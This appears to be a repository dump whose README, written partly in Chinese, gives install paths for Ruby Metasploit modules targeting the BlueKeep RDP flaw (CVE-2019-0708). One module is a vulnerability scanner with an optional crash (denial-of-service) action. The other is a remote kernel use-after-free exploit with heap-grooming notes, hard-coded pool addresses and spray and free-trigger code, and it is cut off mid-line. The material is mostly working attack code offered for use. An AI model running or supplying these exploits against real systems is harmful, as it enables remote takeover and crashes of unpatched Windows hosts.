├── 1.png ├── README.md ├── cve_2019_0708_bluekeep.rb ├── cve_2019_0708_bluekeep_rce.rb ├── rdp.rb └── rdp_scanner.rb /1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NAXG/cve_2019_0708_bluekeep_rce/75a930c5752b8773edbd52fc84c93aedd8c81496/1.png -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | https://github.com/rapid7/metasploit-framework/pull/12283 2 | 3 | https://github.com/TinToSer/bluekeep-exploit 4 | 5 | cve_2019_0708_bluekeep_rce.rb 添加 /usr/share/metasploit-framework/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb 6 | 7 | rdp.rb 替换 /usr/share/metasploit-framework/lib/msf/core/exploit/rdp.rb 8 | 9 | rdp_scanner.rb 替换 /usr/share//metasploit-framework/modules/auxiliary/scanner/rdp/rdp_scanner.rb 10 | 11 | cve_2019_0708_bluekeep.rb 替换 /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb 12 | 13 | 14 | ![](./1.png) 15 | -------------------------------------------------------------------------------- /cve_2019_0708_bluekeep.rb: -------------------------------------------------------------------------------- 1 | ## 2 | # This module requires Metasploit: https://metasploit.com/download 3 | # Current source: https://github.com/rapid7/metasploit-framework 4 | ## 5 | 6 | class MetasploitModule < Msf::Auxiliary 7 | include Msf::Exploit::Remote::RDP 8 | include Msf::Auxiliary::Scanner 9 | include Msf::Auxiliary::Report 10 | 11 | def initialize(info = {}) 12 | super(update_info(info, 13 | 'Name' => 'CVE-2019-0708 BlueKeep Microsoft Remote Desktop RCE Check', 14 | 'Description' => %q{ 15 | This module checks a range of hosts for the CVE-2019-0708 vulnerability 16 | by binding the MS_T120 channel outside of its normal slot and sending 17 | non-DoS packets which respond differently on patched and vulnerable hosts. 18 | It can optionally trigger the DoS vulnerability. 19 | }, 20 | 'Author' => 21 | [ 22 | 'National Cyber Security Centre', # Discovery 23 | 'JaGoTu', # Module 24 | 'zerosum0x0', # Module 25 | 'Tom Sellers' # TLS support, packet documenentation, DoS implementation 26 | ], 27 | 'References' => 28 | [ 29 | [ 'CVE', '2019-0708' ], 30 | [ 'URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708' ] 31 | ], 32 | 'DisclosureDate' => '2019-05-14', 33 | 'License' => MSF_LICENSE, 34 | "Actions" => [ 35 | ["Scan", "Description" => "Scan for exploitable targets"], 36 | ["Crash", "Description" => "Trigger denial of service vulnerability"], 37 | ], 38 | "DefaultAction" => "Scan", 39 | 'Notes' => 40 | { 41 | 'Stability' => [ CRASH_SAFE ], 42 | 'AKA' => ['BlueKeep'] 43 | } 44 | )) 45 | end 46 | 47 | def report_goods 48 | report_vuln( 49 | :host => rhost, 50 | :port => rport, 51 | :proto => 'tcp', 52 | :name => self.name, 53 | :info => 'Behavior indicates a missing Microsoft Windows RDP patch for CVE-2019-0708', 54 | :refs => self.references 55 | ) 56 | end 57 | 58 | def run_host(ip) 59 | # Allow the run command to call the check command 60 | 61 | status = check_host(ip) 62 | if status == Exploit::CheckCode::Vulnerable 63 | print_good(status[1].to_s) 64 | elsif status == Exploit::CheckCode::Unsupported # used to display custom msg error 65 | status = Exploit::CheckCode::Safe 66 | print_status("The target service is not running or refused our connection.") 67 | else 68 | print_status(status[1].to_s) 69 | end 70 | 71 | status 72 | end 73 | 74 | def rdp_reachable 75 | rdp_connect 76 | rdp_disconnect 77 | return true 78 | rescue Rex::ConnectionRefused 79 | return false 80 | rescue Rex::ConnectionTimeout 81 | return false 82 | end 83 | 84 | def check_host(_ip) 85 | # The check command will call this method instead of run_host 86 | status = Exploit::CheckCode::Unknown 87 | 88 | begin 89 | begin 90 | rdp_connect 91 | rescue ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError 92 | return Exploit::CheckCode::Unsupported # used to display custom msg error 93 | end 94 | 95 | status = check_rdp_vuln 96 | rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError, ::TypeError => e 97 | bt = e.backtrace.join("\n") 98 | vprint_error("Unexpected error: #{e.message}") 99 | vprint_line(bt) 100 | elog("#{e.message}\n#{bt}") 101 | rescue RdpCommunicationError 102 | vprint_error("Error communicating RDP protocol.") 103 | status = Exploit::CheckCode::Unknown 104 | rescue Errno::ECONNRESET 105 | vprint_error("Connection reset") 106 | rescue => e 107 | bt = e.backtrace.join("\n") 108 | vprint_error("Unexpected error: #{e.message}") 109 | vprint_line(bt) 110 | elog("#{e.message}\n#{bt}") 111 | ensure 112 | rdp_disconnect 113 | end 114 | 115 | status 116 | end 117 | 118 | def check_for_patch 119 | begin 120 | 6.times do 121 | _res = rdp_recv 122 | end 123 | rescue RdpCommunicationError 124 | # we don't care 125 | end 126 | 127 | # The loop below sends Virtual Channel PDUs (2.2.6.1) that vary in length 128 | # The arch governs which of the packets triggers the desired response 129 | # which is an MCS Disconnect Provider Ultimatum or a timeout. 130 | 131 | # Disconnect Provider message of a valid size for each platform 132 | # has proven to be safe to send as part of the vulnerability check. 133 | x86_string = "00000000020000000000000000000000" 134 | x64_string = "0000000000000000020000000000000000000000000000000000000000000000" 135 | 136 | if action.name == 'Crash' 137 | vprint_status("Sending denial of service payloads") 138 | # Length and chars are arbitrary but total length needs to be longer than 139 | # 16 for x86 and 32 for x64. Making the payload too long seems to cause 140 | # the DoS to fail. Note that sometimes the DoS seems to fail. Increasing 141 | # the payload size and sending more of them doesn't seem to improve the 142 | # reliability. It *seems* to happen more often on x64, I haven't seen it 143 | # fail against x86. Repeated attempts will generally trigger the DoS. 144 | x86_string += "FF" * 1 145 | x64_string += "FF" * 2 146 | else 147 | vprint_status("Sending patch check payloads") 148 | end 149 | 150 | chan_flags = RDPConstants::CHAN_FLAG_FIRST | RDPConstants::CHAN_FLAG_LAST 151 | channel_id = [1005].pack('S>') 152 | x86_packet = rdp_build_pkt(build_virtual_channel_pdu(chan_flags, [x86_string].pack("H*")), channel_id) 153 | 154 | x64_packet = rdp_build_pkt(build_virtual_channel_pdu(chan_flags, [x64_string].pack("H*")), channel_id) 155 | 156 | 6.times do 157 | rdp_send(x86_packet) 158 | rdp_send(x64_packet) 159 | 160 | # A single pass should be sufficient to cause DoS 161 | if action.name == 'Crash' 162 | sleep(1) 163 | rdp_disconnect 164 | 165 | sleep(5) 166 | if rdp_reachable 167 | print_error("Target doesn't appear to have been crashed. Consider retrying.") 168 | return Exploit::CheckCode::Unknown 169 | else 170 | print_good("Target service appears to have been successfully crashed.") 171 | return Exploit::CheckCode::Vulnerable 172 | end 173 | end 174 | 175 | # Quick check for the Ultimatum PDU 176 | begin 177 | res = rdp_recv(-1, 1) 178 | rescue EOFError 179 | # we don't care 180 | end 181 | return Exploit::CheckCode::Vulnerable if res&.include?(["0300000902f0802180"].pack("H*")) 182 | 183 | # Slow check for Ultimatum PDU. If it doesn't respond in a timely 184 | # manner then the host is likely patched. 185 | begin 186 | 4.times do 187 | res = rdp_recv 188 | # 0x2180 = MCS Disconnect Provider Ultimatum PDU - 2.2.2.3 189 | if res.include?(["0300000902f0802180"].pack("H*")) 190 | return Exploit::CheckCode::Vulnerable 191 | end 192 | end 193 | rescue RdpCommunicationError 194 | # we don't care 195 | end 196 | end 197 | 198 | Exploit::CheckCode::Safe 199 | end 200 | 201 | def check_rdp_vuln 202 | # check if rdp is open 203 | is_rdp, version_info = rdp_fingerprint 204 | unless is_rdp 205 | vprint_status "Could not connect to RDP service." 206 | return Exploit::CheckCode::Unknown 207 | end 208 | rdp_disconnect 209 | rdp_connect 210 | is_rdp, server_selected_proto = rdp_check_protocol 211 | 212 | requires_nla = [RDPConstants::PROTOCOL_HYBRID, RDPConstants::PROTOCOL_HYBRID_EX].include? server_selected_proto 213 | product_version = (version_info && version_info[:product_version]) ? version_info[:product_version] : 'N/A' 214 | info = "Detected RDP on #{peer} (Windows version: #{product_version})" 215 | 216 | service_info = "Requires NLA: #{(!version_info[:product_version].nil? && requires_nla) ? 'Yes' : 'No'}" 217 | info << " (#{service_info})" 218 | 219 | print_status(info) 220 | 221 | if requires_nla 222 | vprint_status("Server requires NLA (CredSSP) security which mitigates this vulnerability.") 223 | return Exploit::CheckCode::Safe 224 | end 225 | 226 | chans = [ 227 | ['cliprdr', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL], 228 | ['MS_T120', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_COMPRESS_RDP], 229 | ['rdpsnd', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP], 230 | ['snddbg', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP], 231 | ['rdpdr', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_COMPRESS_RDP], 232 | ] 233 | 234 | success = rdp_negotiate_security(chans, server_selected_proto) 235 | return Exploit::CheckCode::Unknown unless success 236 | 237 | rdp_establish_session 238 | 239 | result = check_for_patch 240 | 241 | if result == Exploit::CheckCode::Vulnerable 242 | report_goods 243 | end 244 | 245 | # Can't determine, but at least we know the service is running 246 | result 247 | end 248 | 249 | end 250 | 251 | -------------------------------------------------------------------------------- /cve_2019_0708_bluekeep_rce.rb: -------------------------------------------------------------------------------- 1 | ## 2 | # This module requires Metasploit: https://metasploit.com/download 3 | # Current source: https://github.com/rapid7/metasploit-framework 4 | ## 5 | 6 | # Exploitation and Caveats from zerosum0x0: 7 | # 8 | # 1. Register with channel MS_T120 (and others such as RDPDR/RDPSND) nominally. 9 | # 2. Perform a full RDP handshake, I like to wait for RDPDR handshake too (code in the .py) 10 | # 3. Free MS_T120 with the DisconnectProviderIndication message to MS_T120. 11 | # 4. RDP has chunked messages, so we use this to groom. 12 | # a. Chunked messaging ONLY works properly when sent to RDPSND/MS_T120. 13 | # b. However, on 7+, MS_T120 will not work and you have to use RDPSND. 14 | # i. RDPSND only works when 15 | # HKLM\SYSTEM\CurrentControlSet\Control\TerminalServer\Winstations\RDP-Tcp\fDisableCam = 0 16 | # ii. This registry key is not a default setting for server 2008 R2. SHITTY ISSUE 17 | # 5. Use chunked grooming to fit new data in the freed channel, account for 18 | # the allocation header size (like 0x38 I think?). At offset 0x100? is where 19 | # the "call [rax]" gadget will get its pointer from. 20 | # a. The NonPagedPool (NPP) starts at a fixed address on XP-7 21 | # i. Hot-swap memory is another SHITTY ISSUE. With certain VMWare and 22 | # Hyper-V setups, the OS allocates a buncha PTE stuff before the NPP 23 | # start. This can be anywhere from 100 mb to gigabytes of offset 24 | # before the NPP start. 25 | # b. Set offset 0x100 to NPPStart+SizeOfGroomInMB 26 | # c. Groom chunk the shellcode, at *(NPPStart+SizeOfGroomInMB) you need 27 | # [NPPStart+SizeOfGroomInMB+8...payload]... because "call [rax]" is an 28 | # indirect call 29 | # d. We are limited to 0x400 payloads by channel chunk max size. My 30 | # current shellcode is a twin shellcode with eggfinders. I spam the 31 | # kernel payload and user payload, and if user payload is called first it 32 | # will egghunt for the kernel payload. 33 | # 6. After channel hole is filled and the NPP is spammed up with shellcode, 34 | # trigger the free by closing the socket. 35 | # 36 | # TODO: 37 | # * Detect OS specifics / obtain memory leak to determine NPP start address. 38 | # * Write the XP/2003 portions grooming MS_T120. 39 | # * Detect if RDPSND grooming is working or not? 40 | # * Expand channels besides RDPSND/MS_T120 for grooming. 41 | # See https://unit42.paloaltonetworks.com/exploitation-of-windows-cve-2019-0708-bluekeep-three-ways-to-write-data-into-the-kernel-with-rdp-pdu/ 42 | # 43 | # https://github.com/0xeb-bp/bluekeep .. this repo has code for grooming 44 | # MS_T120 on XP... should be same process as the RDPSND 45 | 46 | class MetasploitModule < Msf::Exploit::Remote 47 | 48 | Rank = ManualRanking 49 | 50 | USERMODE_EGG = 0xb00dac0fefe31337 51 | KERNELMODE_EGG = 0xb00dac0fefe42069 52 | 53 | CHUNK_SIZE = 0x400 54 | HEADER_SIZE = 0x48 55 | 56 | include Msf::Exploit::Remote::RDP 57 | include Msf::Exploit::Remote::CheckScanner 58 | 59 | def initialize(info = {}) 60 | super(update_info(info, 61 | 'Name' => 'CVE-2019-0708 BlueKeep RDP Remote Windows Kernel Use After Free', 62 | 'Description' => %q( 63 | The RDP termdd.sys driver improperly handles binds to internal-only channel MS_T120, 64 | allowing a malformed Disconnect Provider Indication message to cause use-after-free. 65 | With a controllable data/size remote nonpaged pool spray, an indirect call gadget of 66 | the freed channel is used to achieve arbitrary code execution. 67 | ), 68 | 'Author' => 69 | [ 70 | 'Sean Dillon ', # @zerosum0x0 - Original exploit 71 | 'Ryan Hanson ', # @ryHanson - Original exploit 72 | 'OJ Reeves ', # @TheColonial - Metasploit module 73 | 'Brent Cook ', # @busterbcook - Assembly whisperer 74 | ], 75 | 'License' => MSF_LICENSE, 76 | 'References' => 77 | [ 78 | ['CVE', '2019-0708'], 79 | ['URL', 'https://github.com/zerosum0x0/CVE-2019-0708'], 80 | ], 81 | 'DefaultOptions' => 82 | { 83 | 'EXITFUNC' => 'thread', 84 | 'WfsDelay' => 5, 85 | 'RDP_CLIENT_NAME' => 'ethdev', 86 | 'CheckScanner' => 'auxiliary/scanner/rdp/cve_2019_0708_bluekeep' 87 | }, 88 | 'Privileged' => true, 89 | 'Payload' => 90 | { 91 | 'Space' => CHUNK_SIZE - HEADER_SIZE, 92 | 'EncoderType' => Msf::Encoder::Type::Raw, 93 | }, 94 | 'Platform' => 'win', 95 | 'Targets' => 96 | [ 97 | [ 98 | 'Automatic targeting via fingerprinting', 99 | { 100 | 'Arch' => [ARCH_X64], 101 | 'FingerprintOnly' => true 102 | }, 103 | ], 104 | # 105 | # 106 | # Windows 2008 R2 requires the following registry change from default: 107 | # 108 | # [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Terminal Server\WinStations\rdpwd] 109 | # "fDisableCam"=dword:00000000 110 | # 111 | [ 112 | 'Windows 7 SP1 / 2008 R2 (6.1.7601 x64)', 113 | { 114 | 'Platform' => 'win', 115 | 'Arch' => [ARCH_X64], 116 | 'GROOMBASE' => 0xfffffa8003800000 117 | } 118 | ], 119 | [ 120 | # This works with Virtualbox 6 121 | 'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Virtualbox)', 122 | { 123 | 'Platform' => 'win', 124 | 'Arch' => [ARCH_X64], 125 | 'GROOMBASE' => 0xfffffa8002407000 126 | } 127 | ], 128 | [ 129 | # This address works on VMWare 15 on Windows. 130 | 'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare)', 131 | { 132 | 'Platform' => 'win', 133 | 'Arch' => [ARCH_X64], 134 | 'GROOMBASE' => 0xfffffa8018C00000 135 | #'GROOMBASE' => 0xfffffa801C000000 136 | } 137 | ], 138 | [ 139 | 'Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Hyper-V)', 140 | { 141 | 'Platform' => 'win', 142 | 'Arch' => [ARCH_X64], 143 | 'GROOMBASE' => 0xfffffa8102407000 144 | } 145 | ], 146 | ], 147 | 'DefaultTarget' => 0, 148 | 'DisclosureDate' => 'May 14 2019', 149 | 'Notes' => 150 | { 151 | 'AKA' => ['Bluekeep'] 152 | } 153 | )) 154 | 155 | register_advanced_options( 156 | [ 157 | OptBool.new('ForceExploit', [false, 'Override check result', false]), 158 | OptInt.new('GROOMSIZE', [true, 'Size of the groom in MB', 250]), 159 | OptEnum.new('GROOMCHANNEL', [true, 'Channel to use for grooming', 'RDPSND', ['RDPSND', 'MS_T120']]), 160 | OptInt.new('GROOMCHANNELCOUNT', [true, 'Number of channels to groom', 1]), 161 | ] 162 | ) 163 | end 164 | 165 | def exploit 166 | unless check == CheckCode::Vulnerable || datastore['ForceExploit'] 167 | fail_with(Failure::NotVulnerable, 'Set ForceExploit to override') 168 | end 169 | 170 | if target['FingerprintOnly'] 171 | fail_with(Msf::Module::Failure::BadConfig, 'Set the most appropriate target manually') 172 | end 173 | 174 | begin 175 | rdp_connect 176 | rescue ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError 177 | fail_with(Msf::Module::Failure::Unreachable, 'Unable to connect to RDP service') 178 | end 179 | 180 | is_rdp, server_selected_proto = rdp_check_protocol 181 | unless is_rdp 182 | fail_with(Msf::Module::Failure::Unreachable, 'Unable to connect to RDP service') 183 | end 184 | 185 | # We don't currently support NLA in the mixin or the exploit. However, if we have valid creds, NLA shouldn't stop us 186 | # from exploiting the target. 187 | if [RDPConstants::PROTOCOL_HYBRID, RDPConstants::PROTOCOL_HYBRID_EX].include?(server_selected_proto) 188 | fail_with(Msf::Module::Failure::BadConfig, 'Server requires NLA (CredSSP) security which mitigates this vulnerability.') 189 | end 190 | 191 | chans = [ 192 | ['rdpdr', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP], 193 | [datastore['GROOMCHANNEL'], RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP], 194 | [datastore['GROOMCHANNEL'], RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP], 195 | ['MS_XXX0', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL], 196 | ['MS_XXX1', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL], 197 | ['MS_XXX2', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL], 198 | ['MS_XXX3', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL], 199 | ['MS_XXX4', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL], 200 | ['MS_XXX5', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL], 201 | ['MS_T120', RDPConstants::CHAN_INITIALIZED | RDPConstants::CHAN_ENCRYPT_RDP | RDPConstants::CHAN_COMPRESS_RDP | RDPConstants::CHAN_SHOW_PROTOCOL], 202 | ] 203 | 204 | @mst120_chan_id = 1004 + chans.length - 1 205 | 206 | unless rdp_negotiate_security(chans, server_selected_proto) 207 | fail_with(Msf::Module::Failure::Unknown, 'Negotiation of security failed.') 208 | end 209 | 210 | rdp_establish_session 211 | 212 | rdp_dispatch_loop 213 | end 214 | 215 | private 216 | 217 | # This function is invoked when the PAKID_CORE_CLIENTID_CONFIRM message is 218 | # received on a channel, and this is when we need to kick off our exploit. 219 | def rdp_on_core_client_id_confirm(pkt, user, chan_id, flags, data) 220 | # We have to do the default behaviour first. 221 | super(pkt, user, chan_id, flags, data) 222 | 223 | groom_size = datastore['GROOMSIZE'] 224 | pool_addr = target['GROOMBASE'] + (CHUNK_SIZE * 1024 * groom_size) 225 | groom_chan_count = datastore['GROOMCHANNELCOUNT'] 226 | 227 | payloads = create_payloads(pool_addr) 228 | 229 | print_status("Using CHUNK grooming strategy. Size #{groom_size}MB, target address 0x#{pool_addr.to_s(16)}, Channel count #{groom_chan_count}.") 230 | 231 | target_channel_id = chan_id + 1 232 | 233 | spray_buffer = create_exploit_channel_buffer(pool_addr) 234 | spray_channel = rdp_create_channel_msg(self.rdp_user_id, target_channel_id, spray_buffer, 0, 0xFFFFFFF) 235 | free_trigger = spray_channel * 20 + create_free_trigger(self.rdp_user_id, @mst120_chan_id) + spray_channel * 80 236 | 237 | print_status("Surfing channels ...") 238 | rdp_send(spray_channel * 1024) 239 | rdp_send(free_trigger) 240 | 241 | chan_surf_size = 0x421 242 | spray_packets = (chan_surf_size / spray_channel.length) + [1, chan_surf_size % spray_channel.length].min 243 | chan_surf_packet = spray_channel * spray_packets 244 | chan_surf_count = chan_surf_size / spray_packets 245 | 246 | chan_surf_count.times do 247 | rdp_send(chan_surf_packet) 248 | end 249 | 250 | print_status("Lobbing eggs ...") 251 | 252 | groom_mb = groom_size * 1024 / payloads.length 253 | 254 | groom_mb.times do 255 | tpkts = '' 256 | for c in 0..groom_chan_count 257 | payloads.each do |p| 258 | tpkts += rdp_create_channel_msg(self.rdp_user_id, target_channel_id + c, p, 0, 0xFFFFFFF) 259 | end 260 | end 261 | rdp_send(tpkts) 262 | end 263 | 264 | # Terminating and disconnecting forces the USE 265 | print_status("Forcing the USE of FREE'd object ...") 266 | rdp_terminate 267 | rdp_disconnect 268 | end 269 | 270 | # Helper function to create the kernel mode payload and the usermode payload with 271 | # the egg hunter prefix. 272 | def create_payloads(pool_address) 273 | begin 274 | [kernel_mode_payload, user_mode_payload].map { |p| 275 | [ 276 | pool_address + HEADER_SIZE + 0x10, # indirect call gadget, over this pointer + egg 277 | p 278 | ].pack(' ex 281 | print_error("#{ex.backtrace.join("\n")}: #{ex.message} (#{ex.class})") 282 | end 283 | end 284 | 285 | def assemble_with_fixups(asm) 286 | # Rewrite all instructions of form 'lea reg, [rel label]' as relative 287 | # offsets for the instruction pointer, since metasm's 'ModRM' parser does 288 | # not grok that syntax. 289 | lea_rel = /lea+\s(?\w{2,3}),*\s\[rel+\s(?